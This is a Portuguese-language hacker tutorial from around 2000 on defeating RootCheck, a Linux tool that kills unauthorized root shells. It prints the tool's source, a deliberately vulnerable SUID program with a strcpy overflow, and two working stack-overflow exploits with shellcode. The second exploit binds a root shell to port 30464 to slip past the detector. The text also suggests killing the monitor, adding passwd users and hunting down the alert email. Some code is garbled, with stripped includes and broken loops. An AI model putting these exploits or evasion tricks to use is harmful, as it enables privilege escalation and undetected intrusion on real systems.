############################################################################# ############################ UNSEKURITY TEAM ################################ ############################################################################# Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Este e outros artigos podem ser obtidos em: http://unsekurity.virtualave.net/ OBSERVACAO: O autor nao se resposanbiliza pelo mau uso das informacoes e dados aqui disponibilizados.Este artigo possui somente propositos educacionais. **************************** * PASSANDO POR ROOTCHECK * **************************** -------------------------------- INDICE --------------------------------- 1 - INTRODUCAO 2 - ROOTCHECK 2.1 - O que eh 2.2 - Baixando e Instalando 3 - PASSANDO PELO ROOTCHECK 3.1 - O Metodo 4 - TERMINANDO 4.1 - Links e Referencias 4.2 - Consideracoes Finais -------------------------------------------------------------------------- --------------- 1 - INTRODUCAO | --------------- Muitos programas tem sido usados ao longo dos anos para aumentar a seguranca de uma rede contra as mais conhecidas tecnicas de obtencao de root.Obter root num sistema representa um estagio bastante elevado no dominio de uma rede por parte de um fucador.Uma vez obtido root num sistema, as possibilidades existentes para o dominio completo dos aplicativos que estao sendo executados numa rede eh demasiadamente grande.Senhas de banco de dados podem ser capturadas, implementacao de ponte servidora em tecnicas avancadas podem ser feitas, acesso a segmentos de rede e redirecionamento de servicos se torna trivial.Eh nesse contexto que varias ferramentas tem sido utilizadas e construidas, ou seja, o intuito eh dificultar ao maximo a obtencao de root no sistema por parte de um invasor.Uma das ferramentas mais interessantes e seu conceito, serah descrito neste artigo.O conceito usado pelo rootcheck eh bastante amplo e veremos de forma bastante pratica como passar por ele. Outra coisa que vai se evidenciar neste artigo, eh a necessidade de saber escrever shellcodes. -------------- 2 - ROOTCHECK | -------------- 2.1 - O que eh --------------- O RootCheck eh uma ferramenta usada para aumentar a seguranca numa rede. O que ela faz eh o seguinte: Quando um usuario que nao possui permissao para tornar sua (e)uid == 0, consegue tornar-se root(euid(0)), entao esse programa derruba o o processo que o usuarios estah executando(geralmente eh /bin/sh), e em seguida manda um mail para o administrador da rede avisando que determinado usuario foi derrubado pelo rootcheck. O conceito usado por esta ferramenta eh usado tambem em outras ferramentas da seguranca(alguns IDS).Ao meu ver eh um conceito interessante, e que se investissem mais nesse conceito, sem duvida ficaria dificil alguem conseguir root num sistema alheio. 2.2 - Baixando e Instalando ----------------------------- Essa ferramenta foi contruida por BIT'98, mas o pessoal da w00w00 ajeitou ela para que funcionasse de forma eficiente.Abaixo segue seu codigo fonte, mas se preferir baixar, procure na pagina da w00w00(www.w00w00.org). ------------------------------ rootcheck.c -------------------------------- /* BiT '98 completely rewritten for obvious reasons... first of all, it didnt work (sigsegv and shit) second.. my house got raided and everything was taken third.. i have nothing to do waiting for my phone line to return....... */ /* Killing processes with (e)uid==0 if they aint owned by root or anyone in /etc/rootusers, except if the process name is in /etc/suids bugfix: forgot a signal() in the SIGHUP handler, im to lazy to use sigaction() */ #include #include #include #include #include #include #include #include #include #include #include #include #define VERSION "0.6" #define ROOTUSERS "/etc/rootusers" #define SUIDS "/etc/suids" #define PIDFILE "/var/run/rootcheck.pid" #define EMAIL "root@localhost" /* you might want to change this */ #define NETSTAT "/bin/netstat" #define W "/usr/bin/w" #define LAST "/usr/bin/last" struct rootcheck { char name[256]; pid_t pid, ppid; uid_t uid, euid; }; uid_t rootusers[16]; /* more then 16 roots?! */ char suids[64][256]; /* what about removing some root suids? */ int nrootusers, nsuids; void sighup(int s); void rehash(int status); int okuid(uid_t uid); void foreverloop(void); struct rootcheck *getinfo(char *d_name); struct rootcheck *trace_to_init(struct rootcheck par); void checkup(char *d_name); void mail_n_kill(struct rootcheck cur, struct rootcheck par); void main(int argc, char **argv) { int i; char buf[512]; printf("rootcheck %s - BiT '98\n\n", VERSION); if (geteuid()) printf("I prefer euid 0\n"), exit(-1); if ((i = open(PIDFILE, O_RDONLY)) != -1) { read(i, buf, sizeof(buf)); if (kill(atoi(buf), SIGCHLD) != -1) printf("Allready running.\n"), exit(-1); close(i); } printf("Loading init files..."); rehash(0); printf("done\nSetting up HUP handler and detaching..."); fflush(stdout); signal(SIGHUP, (void *) &sighup); if ((i = fork()) == -1) printf("can't fork()?!\n"), exit(-1); if (i) putchar('\n'), close(0), close(1), close(2), exit(-1); if ((i = open(PIDFILE, O_WRONLY | O_CREAT)) != -1) { sprintf(buf, "%d", getpid()); write(i, buf, strlen(buf)); close(i); } foreverloop(); } void foreverloop(void) { DIR *procdir; struct dirent *pproc; struct stat sbuf; chdir("/proc"); procdir = opendir("."); /* if this doesnt work............ */ while (1) { if ((pproc = readdir(procdir)) != NULL) { if (stat(pproc->d_name, &sbuf) == -1) continue; if (S_ISDIR(sbuf.st_mode)) checkup(pproc->d_name); } else rewinddir(procdir); usleep(10); /* yaya lemme eat yer cpu */ } } void checkup(char *d_name) { struct rootcheck *p, cur, par; char buf[512]; if (!strcmp(d_name, "scsi") || !strcmp(d_name, "net") || !strcmp(d_name, "sys") || !strcmp(d_name, "self") || !strcmp(d_name, ".") || !strcmp(d_name, "..") || !strcmp(d_name, "1")) return; if ((p = getinfo(d_name)) == NULL) return; memcpy(&cur, p, sizeof(struct rootcheck)); if (cur.ppid == 1) return; if (cur.uid && cur.euid) return; if (oksuid(cur.name)) return; if ((p = trace_to_init(cur)) == NULL) return; memcpy(&par, p, sizeof(struct rootcheck)); if (okuid(par.uid)) return; mail_n_kill(cur, par); } void mail_n_kill(struct rootcheck cur, struct rootcheck par) { FILE *fd; char buf[256], fn[256]; struct passwd *pwd; unsetenv("IFS"); srand(time(NULL)); pwd = getpwuid(par.uid); sprintf(fn, "/tmp/rc%d", rand()); fd = fopen(fn, "w"); sprintf(buf, "User %s got euid 0 from %s\n\nSystem data follows:\n\n", pwd->pw_name, cur.name); fputs(buf, fd); fclose(fd); sprintf(buf, "%s -a -n >> %s", NETSTAT, fn); system(buf); sprintf(buf, "%s >> %s", W, fn); system(buf); sprintf(buf, "%s -20 >> %s", LAST, fn); system(buf); sprintf(buf, "cat %s | mail %s", fn, EMAIL); system(buf); unlink(fn); kill(par.pid, 9); /* SPLAM! */ } /* not really correct name, traces until parents uid is 0 */ struct rootcheck *trace_to_init(struct rootcheck par) { static struct rootcheck *p, cur, old; char buf[512]; sprintf(buf, "%d", par.ppid); if ((p = getinfo(buf)) == NULL) return NULL; memcpy(&old, &par, sizeof(struct rootcheck)); memcpy(&cur, p, sizeof(struct rootcheck)); while (1) { if (cur.uid == 0 && cur.euid == 0) return &old; sprintf(buf, "%d", cur.ppid); if ((p = getinfo(buf)) == NULL) return NULL; memcpy(&old, &cur, sizeof(struct rootcheck)); memcpy(&cur, p, sizeof(struct rootcheck)); } } int oksuid(char *owner) { int i; for (i = 0; i < nsuids; i++) if (strcasecmp(suids[i], owner) == 0) return 1; return 0; } int okuid(uid_t uid) { int i; if (!uid) return 1; for (i = 0; i < nrootusers; i++) { if (rootusers[i] == uid) return 1; } return 0; } struct rootcheck *getinfo(char *d_name) { static struct rootcheck rc; char buf[512], fn[512], *p, i; FILE *fd; sprintf(fn, "%s/status", d_name); if ((fd = fopen(fn, "r")) == NULL) return NULL; if (fgets(buf, sizeof(buf), fd) == NULL) return NULL; buf[strlen(buf) - 1] = 0; strncpy(rc.name, (buf + 6), sizeof(rc.name)); if (fgets(buf, sizeof(buf), fd) == NULL) return NULL; if (fgets(buf, sizeof(buf), fd) == NULL) return NULL; rc.pid = atoi((buf + 5)); if (fgets(buf, sizeof(buf), fd) == NULL) return NULL; rc.ppid = atoi((buf + 6)); if (fgets(buf, sizeof(buf), fd) == NULL) return NULL; p = buf + 5; for (i = 0; *(p + i) != '\t'; i++); *(p + i) = 0; rc.uid = atoi(p); p += i; p++; for (i = 0; *(p + i) != '\t'; i++); *(p + i) = 0; rc.euid = atoi(p); fclose(fd); return &rc; } void sighup(int s) { signal(SIGHUP, (void *) &sighup); rehash(1); } void rehash(int status) { FILE *fd; char buf[256]; struct passwd *pwd; nsuids = nrootusers = 0; fd = fopen(ROOTUSERS, "r"); if (fd == NULL && !status) printf("can't open %s..", ROOTUSERS); if (fd) { while (fgets(buf, sizeof(buf), fd) != NULL) { if (buf[strlen(buf) - 1] == '\n') buf[strlen(buf) - 1] = 0; if ((pwd = getpwnam(buf)) == NULL) break; rootusers[nrootusers++] = pwd->pw_uid; } fclose(fd); } fd = fopen(SUIDS, "r"); if (fd == NULL && !status) printf("can't open %s..", SUIDS); if (fd) { while (fgets(buf, sizeof(buf), fd) != NULL) { if (buf[strlen(buf) - 1] == '\n') buf[strlen(buf) - 1] = 0; buf[255] = 0; strcpy(suids[nsuids++], buf); } fclose(fd); } } -------------------------------------------------------------------------- O seu uso nao possui muito segredo.Basta definir o que ele pede(#define) e criar os arquivos correspondentes.Veremos seu uso em cima do seguinte programa bugado: --------------------------------- bug1.c --------------------------------- #include #include main(int argc, char *argv[]){ char buffer[512]; if(argc < 2){ printf("Programa bugado!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou %s!!\n",buffer); return 0; } --------------------------------------------------------------------------- Este programa acima possui uma condicao de buffer overflow que pode ser facilmente exploitada.Compile ele e defina-o como suid root.Depois acrescente ele no arquivo suids do rootcheck, exemplo: #define ROOTUSERS "/etc/rootusers" #define SUIDS "/etc/suids" Em /etc/rootusers coloque root e em /etc/suids coloque /tmp/bug1. De posse dessas informacoes, nos podemos entao tentar exploitar o programa bugado usando um simples exploit: ------------------------------- ex1.c ------------------------------------ #include #include #include #define NOP 0x90 #define ALIGN 0 unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* Setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Exemplo 1 de exploit para rootcheck!!\n"); printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } for (i=0;i<(tamanho-strlen(shellcode)-100);i++) *(buffer+i) = NOP; memcpy(buffer+i,shellcode,strlen(shellcode)); /* Atencao no PATH abaixo. */ execl("./bug1","bug1",buffer,0); } --------------------------------------------------------------------------- Antes de compilar o programa acima, execute o rootcheck. Compilando e executando o exploit acima, nos podemos ver o rootcheck em acao: + Como root: localhost:/crazy/progs/grupos/w00w00# ./rootcheck rootcheck 0.6 - BiT '98 Loading init files...done Setting up HUP handler and detaching... + Como usuario normal: localhost:/tmp$ ./ex1 610 Voce digitou A1U°I I1U Ø@I èÜÿÿÿ/bin/shÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿( úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿á!! sh-2.03# El Vento 2.2.13. localhost login: O que aconteceu foi o seguinte.O programa foi exploitado com sucesso, nos caimos numa shell root(sh-2.03#), mas em seguida o rootcheck nos derrubou (El Vento 2.2.13. ... localhost login:).Podemos perfeitamente ver, que para o esquema mais comum de exploitacao para obter root shell, esse programa eh eficiente, mas por um lado, esse programa(rootshell) se denuncia ao evidenciar a nossa queda.Alguns IDS usam a mesma metodologia e permite que um usuario de tentou obter shell root se logue novamente. Isso ainda nao eh tudo, o rootcheck enviou um e-mail para o usuario definido, no nosso caso root@localhost contendo informacoes sobre o usuario que tentou obter root e sobre o estado da rede naquele momento. Abaixo segue um pedaco do e-mail enviado pelo rootcheck: From root@localhost Sat Mar 12 07:56:55 2000 Return-Path: Received: (from root@localhost) by localhost (8.9.3/8.9.3) id HAA00209 for root@localhost; Sat, 12 Mar 2000 07:56:55 -0300 Date: Sat, 12 Mar 2000 07:56:55 -0300 From: root@localhost Message-Id: <200003121056.HAA00209@localhost> To: root@localhost User nashleon got euid 0 from sh System data follows: Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN ... ... O resto eh informacoes sobre processos e conexoes ativas. ---------------------------- 3 - PASSANDO PELO ROOTCHECK | ---------------------------- Um fucador experiente 'sentiria no tato' que algo "incomum" aconteceu.Ele iria procurar saber o que o derrubou e porque.Mas o detalhe maior estah no seguinte fato: "A root shell havia sido adquirida!!". A evidencia de que o checkroot ou afins estah instalado eh justamente o fato do usuario ter sido derrubado. 3.1 - O Metodo --------------- Existem varios metodos de se passar por este programa.Como vimos no caso acima, eh possivel executarmos codigo malicioso como root(/bin/sh), logo, poderiamos killar o rootcheck, efetuar uma especie de race condition e etc. Mas ao meu ver, o modo mais simples eh alterarmos o shellcode para executar algo diferente de /bin/sh fugindo assim da percepcao de rootcheck quanto ao euid(0), pois este eh realmente o problema. O exploit abaixo binda uma shell root a uma porta alta.O shellcode foi originalmente escrito pelo Taeho Oh e alterado por mim(setuid(0)) para nosso propositos: -------------------------------- ex2.c --------------------------------- #include #include #include #define NOP 0x90 #define ALIGN 0 unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; int main(int argc, char *argv[]) { char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Exploit que passa por rootcheck!!\n"); printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } for (i=0;i<(tamanho-strlen(shellcode)-100);i++) *(buffer+i) = NOP; memcpy(buffer+i,shellcode,strlen(shellcode)); execl("./bug1","bug1",buffer,0); } ------------------------------------------------------------------------- Executando o exploit acima, nos podemos ver que o rootcheck eh ineficiente. Deve aparecer algo desse jeito: localhost:/tmp$ ./ex2 610 XXXXXX...(monte de caracteres estranhos) XXX XXX Depois vc deve cair de volta na sua shell.Nao se preocupe se nao ficar nada legivel, o que aconteceu eh que foi imprimido na tela do monitor(stdout-padrao) caracters nao imprimiveis.Depois disso voce pode sair da rede ou em outro console digitar: localhost:/tmp$ telnet localhost 30464 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. id; uid=0(root) gid=100(users) groups=100(users) : command not found exit; Connection closed by foreign host. Pronto amigo.Voce bindou uma shell root a uma porta alta(30464) e passou pelo rootcheck tranquilamente. Voce pode contemplar agora diversas teorias, como acrescentar um usuario ao passwd, fazer um shellcode para derrubar o rootcheck caso saiba o pid dele, etc.Use a sua imaginacao e os seus neuronios, com certeza voce conseguirah passar por este desafio.Outra coisa reside no fato de voce ter sido logado.Como um e-mail pode ter sido enviado(no nosso exemplo foi) para alguem, voce precisa encontrar o mesmo.Existem tecnicas para fazer isto, mas cada caso eh um caso. --------------- 4 - TERMINANDO | --------------- Eu jah vih algumas redes americanas usarem esta ferramenta.O conceito dela eh bem amplo, voce poderah ver algo parecido em alguns esquemas de IDS por aih.Mas com um pouco de perspicacia e malicia voce poderah facilmente detectar e passar por estes esquemas.O que se pode evidenciar mais uma vez eh que um administrador de rede nao deve confiar somente nessas ferramentas. Sem duvida que a grande maioria dos 'script kiddies' nao contemplariam uma solucao para este problema, mas fucadores com conhecimentos basicos e um pouco de experiencia 'venceriam' esse desafio.Quanto ao fucador, esse eh um obstaculo simples frente a centenas de outros que existem por aih, nao pense que saber passar ou 'detonar' algumas das ferramentas usadas pela comunidade de seguranca o torna melhor que eles.Lembre-se, amigo, da mesma forma que voce 'maquina' tecnicas para derrubar conceitos e ferramentas de seguranca, o pessoal da seguranca 'maquina' e 'cria' obstaculos para dificultar ao maximo o sucesso que um fucador possa vir a obter numa investida qualquer. 4.1 - Links e Referencias -------------------------- * Sobre rootcheck: A ferramenta em sih possui um conceito amplo, entao eh bom analisar outras ferramentas de ISD. http://www.w00w00.org/ http://packetstorm.securify.com/ http://www.securityfocus.com/ * Home pages atuais do Unsekurity Team: http://unsekurity.virtualave.net/ http://unsekurity.cyberpunk.com.br/ * Outros links muito interessantes: http://www.hacker.com.br/ http://www.bufferoverflow.org/ http://www.taldowin.com.br/ http://www.securenet.com.br/ http://www.absoluta.org/ 4.2 - Consideracoes Finais --------------------------- Essa foi mais uma publicacao que expoe o perigo de se confiar na 'maquina'. Sem duvida que esses programas sao bons e devem ser usados, mas nao sao a solucao.Eh isto que quero evidenciar.Hoje em dia existe uma peneira, mas fucadores com conhecimentos elevados nao sao peneirados.Varios outros materiais estao a caminho, e o grau de dificuldade deve diminuir assim que sairem novos tutoriais.Espero que todas essas publicacoes venham a ser validas para alguem e agradeco as pessoas que nos tem dado apoio e nos criticados com criticas construtivas.Um abraco a todos. Nash Leon --------------------------------- EOF ----------------------------------